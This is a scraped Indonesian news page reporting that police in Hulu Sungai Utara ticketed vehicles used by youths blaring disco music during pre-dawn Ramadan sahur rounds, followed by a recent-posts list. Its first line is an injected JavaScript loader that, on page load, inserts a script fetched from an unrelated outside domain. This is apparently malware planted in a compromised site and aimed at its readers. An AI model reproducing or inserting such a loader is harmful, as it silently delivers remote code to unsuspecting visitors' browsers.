(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL HSU

Bubarkan Remaja Bagarakan Sahur Pakai Musik Disko, Polres HSU Tilang 2 Pikap dan 1 Tossa


KANALKALIMANTAN.COM, AMUNTAI – Dua unit mobil pikap dan sebuah sepeda motor Tossa yang berisi sound sistem diamankan Polres Hulu Sungai Utara (HSU) karena melakukan bagarakan sahur menggunakan pengeras suara dengan musik disco, Selasa (5/5/2020) dini hari.

Giat yang dilakukan anggota Polsek Amuntai Kota bersama anggota piket Sat Sabhara Polres HSU dilakukan karena adanya laporan warga yang merasa mengganggu atas aktivitas para pemuda itu. Para pemuda ini bagarakan sahur menggunakan sound sistem dengan membunyikan musik disco tersebut.

Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui  Kapolsek Amuntai Kota Ipda Syaifullah mengakui telah melakukan penertiban kepada para remaja yang melakukan bagarakan sahur yang mengganggu warga tersebut.

Para pemuda diamankan Polres HSU karena bagarakan sahur menggunakan sound sistem dengan membunyikan musik disco. Foto: polres hsu

Karena menurutnya, bagarakan sahur para remaja tersebut malah tidak tepat waktunya dan malah mengganggu masyarakat lain yang istirahat tidur.

“Warga yang melakukan begarakan sahur dengan menggunakan pengeras suara sambil membunyikan musik disco itu tidak karuan, sehingga menganggu masyarakat yang dilewatinya, bahkan begarakan sahur dilakukan pada pukul 02.00 Wita, masyarakat terganggu karena masih jam istirahat,” jelasnya

Untuk itu, Kapolsek menambahkan, pihaknya menindak dengan melakukan penilangan terhadap kendaraan yang digunakan oleh para remaja tersebut.

Sedangkan kepada para remaja penggerak sahur dilakukan pembinaan dan mereka dimintakan untuk membuat surat pernyataan  agar tidak mengulangi lagi.

Lebih lanjut Kapolsek menghimbau kepada warga masyarakat agar sama sama memelihara Kamtibmas di bulan suci Ramadhan ini, apalagi saat ini pandemi  Covid-19 untuk mengikuti anjuran pemerintah dalam cegah tangkal Covid-19. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.